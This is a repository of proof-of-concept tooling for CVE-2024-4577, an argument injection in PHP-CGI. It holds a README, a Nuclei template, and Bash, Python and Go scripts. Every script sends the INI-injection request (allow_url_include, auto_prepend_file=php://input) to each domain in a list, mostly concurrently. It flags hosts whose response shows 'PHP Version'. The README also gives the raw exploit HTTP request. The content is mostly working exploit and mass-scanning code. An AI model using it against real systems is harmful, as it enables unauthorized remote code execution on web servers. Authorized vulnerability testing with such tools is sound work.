├── CODEOWNERS ├── .github └── CODEOWNERS ├── CVE-2024-4577.yaml ├── CVE-2024-4577.sh ├── CVE-2024-4577.py ├── README.md └── CVE-2024-4577.go /CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @zephrfish 2 | -------------------------------------------------------------------------------- /.github/CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @zephrfish 2 | -------------------------------------------------------------------------------- /CVE-2024-4577.yaml: -------------------------------------------------------------------------------- 1 | id: CVE-2024-4577 2 | 3 | info: 4 | name: PHP Remote Code Execution via allow_url_include and auto_prepend_file 5 | author: ZephrFish 6 | severity: critical 7 | description: Tests for remote PHP code execution by injecting PHP INI settings through query parameters. 8 | reference: 9 | - https://www.php.net/manual/en/ini.core.php#ini.allow-url-include 10 | - https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file 11 | tags: rce,php 12 | 13 | requests: 14 | - method: POST 15 | path: 16 | - "{{BaseURL}}/index.php?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input" 17 | 18 | headers: 19 | User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 20 | Accept: "*/*" 21 | Content-Type: "application/x-www-form-urlencoded" 22 | Connection: "keep-alive" 23 | 24 | body: | 25 | 28 | 29 | matchers-condition: and 30 | matchers: 31 | - type: word 32 | words: 33 | - "PHP Version" # Common output in phpinfo() 34 | part: body 35 | 36 | - type: status 37 | status: 38 | - 200 39 | -------------------------------------------------------------------------------- /CVE-2024-4577.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Function to check vulnerability for a domain 4 | check_vulnerability() { 5 | local domain=$1 6 | local response=$(curl -s -X POST "${domain}/index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input" \ 7 | -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" \ 8 | -H "Accept: */*" \ 9 | -H "Content-Type: application/x-www-form-urlencoded" \ 10 | -H "Connection: keep-alive" \ 11 | --data "" \ 12 | --max-time 10) 13 | 14 | if [[ $response == *"PHP Version"* ]]; then 15 | echo "$domain: Vulnerable" 16 | else 17 | echo "$domain: Not Vulnerable" 18 | fi 19 | } 20 | 21 | # Main function to iterate over domains 22 | main() { 23 | local file=$1 24 | while IFS= read -r domain || [ -n "$domain" ]; do 25 | if [[ ! -z "$domain" ]]; then 26 | echo "Testing $domain..." 27 | check_vulnerability "$domain" 28 | fi 29 | done < "$file" 30 | } 31 | 32 | # Check if the file argument is provided 33 | if [ "$#" -ne 1 ]; then 34 | echo "Usage: $0 " 35 | exit 1 36 | fi 37 | 38 | main "$1" 39 | -------------------------------------------------------------------------------- /CVE-2024-4577.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import sys 4 | import argparse 5 | 6 | max_threads = 10 7 | semaphore = threading.Semaphore(max_threads) 8 | 9 | def check_vulnerability(domain, quiet): 10 | url = f"{domain}/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input" 11 | headers = { 12 | "User-Agent": "curl/8.3.0", 13 | "Accept": "*/*", 14 | "Content-Type": "application/x-www-form-urlencoded", 15 | "Connection": "keep-alive" 16 | } 17 | data = "" 18 | if not quiet: 19 | print(f"[!] Testing {domain}...") 20 | print("") 21 | try: 22 | response = requests.post(url, headers=headers, data=data, timeout=10, verify=False) 23 | if "PHP Version" in response.text: 24 | print(f"{domain}: Vulnerable") 25 | elif not quiet: 26 | print(f"{domain}: Not Vulnerable") 27 | except requests.RequestException as e: 28 | if not quiet: 29 | print(f"{domain}: Error making request: {e}") 30 | finally: 31 | semaphore.release() 32 | 33 | def main(file_path, quiet): 34 | threads = [] 35 | with open(file_path, 'r') as file: 36 | for line in file: 37 | domain = line.strip() 38 | if domain: 39 | semaphore.acquire() 40 | thread = threading.Thread(target=check_vulnerability, args=(domain, quiet)) 41 | thread.start() 42 | threads.append(thread) 43 | for thread in threads: 44 | thread.join() 45 | 46 | if __name__ == "__main__": 47 | parser = argparse.ArgumentParser(description="Check for CVE-2024-4577 vulnerability.") 48 | parser.add_argument("file_path", help="Path to the domain list file") 49 | parser.add_argument("--quiet", action="store_true", help="Only print if the host is vulnerable") 50 | args = parser.parse_args() 51 | 52 | main(args.file_path, args.quiet) 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHP RCE PoC 2 | ## CVE-2024-4577: Argument Injection in PHP-CGI 3 | 4 | ## Overview 5 | 6 | This repository contains scripts to check for the CVE-2024-4577 vulnerability, an argument injection issue in PHP-CGI. You can use the provided Bash, Go, and Python scripts to test a list of domains for this vulnerability. I've also released a Nuclei YAML file. 7 | 8 | ## Usage 9 | 10 | ### Bash Script 11 | 12 | To use the Bash script, run the following command: 13 | 14 | ```bash 15 | ./CVE-2024-4577.sh /path/to/domains-list 16 | ``` 17 | 18 | ### Go Script 19 | 20 | First, save the Go script to a file named `CVE-2024-4577.go`. To build and run the Go script: 21 | 22 | 1. Compile the Go script into a binary: 23 | 24 | ```bash 25 | go build -o CVE-2024-4577 CVE-2024-4577.go 26 | ``` 27 | 28 | 2. Execute the binary with the domain list file as an argument: 29 | 30 | ```bash 31 | ./CVE-2024-4577 /path/to/domains-list 32 | ``` 33 | 34 | ### Python Script 35 | 36 | First, save the Python script to a file named `CVE-2024-4577.py`. To run the Python script: 37 | 38 | 1. Ensure you have the `requests` library installed: 39 | 40 | ```bash 41 | pip install requests 42 | ``` 43 | 44 | 2. Execute the Python script with the domain list file as an argument: 45 | 46 | ```bash 47 | python CVE-2024-4577.py /path/to/domains-list 48 | ``` 49 | 50 | 3. (Optional) If you want to only print vulnerable hosts: 51 | 52 | ```bash 53 | python CVE-2024-4577.py /path/to/domains-list --quiet 54 | ``` 55 | 56 | 57 | ## Proof of Concept (POC) Explained 58 | 59 | To manually test for the vulnerability, you can send the following POST request: 60 | 61 | ```http 62 | POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 63 | Host: {{host}} 64 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 65 | Accept: */* 66 | Content-Length: 23 67 | Content-Type: application/x-www-form-urlencoded 68 | Connection: keep-alive 69 | 70 | 71 | ``` 72 | 73 | ## Nuclei Template 74 | I've also created a Nuclei template to scan for vulnerable instances, it uses the v3 layout scheme and has been tested in a lab environment: 75 | ``` 76 | nuclei -t CVE-2024-4577.yaml -u 77 | ``` 78 | 79 | ## Domain List Example 80 | The list of domains should be pre-pended with http/https to ensure they are read correctly. 81 | 82 | ``` 83 | http://example.com 84 | http://testsite.com 85 | http://vulnerablesite.com 86 | ``` 87 | 88 | ## Example Output 89 | 90 | If a domain is found to be vulnerable, the output will be: 91 | 92 | ``` 93 | http://example.com: Vulnerable 94 | http://vulnerablesite.com: Vulnerable 95 | ``` 96 | 97 | -------------------------------------------------------------------------------- /CVE-2024-4577.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "os" 10 | "sync" 11 | "time" 12 | ) 13 | 14 | const maxConcurrentRequests = 10 15 | 16 | func checkVulnerability(domain string, wg *sync.WaitGroup, results chan<- string) { 17 | defer wg.Done() 18 | 19 | url := fmt.Sprintf("%s/index.php?%%25ADd+allow_url_include%%3D1+%%25ADd+auto_prepend_file%%3Dphp://input", domain) 20 | payload := []byte("") 21 | client := &http.Client{ 22 | Timeout: 10 * time.Second, 23 | } 24 | 25 | req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload)) 26 | if err != nil { 27 | results <- fmt.Sprintf("%s: Error creating request: %v", domain, err) 28 | return 29 | } 30 | 31 | req.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36") 32 | req.Header.Set("Accept", "*/*") 33 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 34 | req.Header.Set("Connection", "keep-alive") 35 | 36 | fmt.Printf("Testing %s...\n", domain) 37 | resp, err := client.Do(req) 38 | if err != nil { 39 | results <- fmt.Sprintf("%s: Error making request: %v", domain, err) 40 | return 41 | } 42 | defer resp.Body.Close() 43 | 44 | body, err := ioutil.ReadAll(resp.Body) 45 | if err != nil { 46 | results <- fmt.Sprintf("%s: Error reading response: %v", domain, err) 47 | return 48 | } 49 | 50 | if bytes.Contains(body, []byte("PHP Version")) { 51 | results <- fmt.Sprintf("%s: Vulnerable", domain) 52 | } else { 53 | results <- fmt.Sprintf("%s: Not Vulnerable", domain) 54 | } 55 | } 56 | 57 | func main() { 58 | if len(os.Args) != 2 { 59 | fmt.Println("Usage: ./CVE-2024-4577 ") 60 | os.Exit(1) 61 | } 62 | 63 | file := os.Args[1] 64 | f, err := os.Open(file) 65 | if err != nil { 66 | fmt.Printf("Error opening file: %v\n", err) 67 | os.Exit(1) 68 | } 69 | defer f.Close() 70 | 71 | scanner := bufio.NewScanner(f) 72 | var wg sync.WaitGroup 73 | results := make(chan string) 74 | semaphore := make(chan struct{}, maxConcurrentRequests) 75 | 76 | go func() { 77 | for result := range results { 78 | fmt.Println(result) 79 | } 80 | }() 81 | 82 | for scanner.Scan() { 83 | domain := scanner.Text() 84 | if domain == "" { 85 | continue 86 | } 87 | wg.Add(1) 88 | semaphore <- struct{}{} 89 | go func(domain string) { 90 | defer func() { <-semaphore }() 91 | checkVulnerability(domain, &wg, results) 92 | }(domain) 93 | } 94 | 95 | if err := scanner.Err(); err != nil { 96 | fmt.Printf("Error reading file: %v\n", err) 97 | } 98 | 99 | wg.Wait() 100 | close(results) 101 | } 102 | --------------------------------------------------------------------------------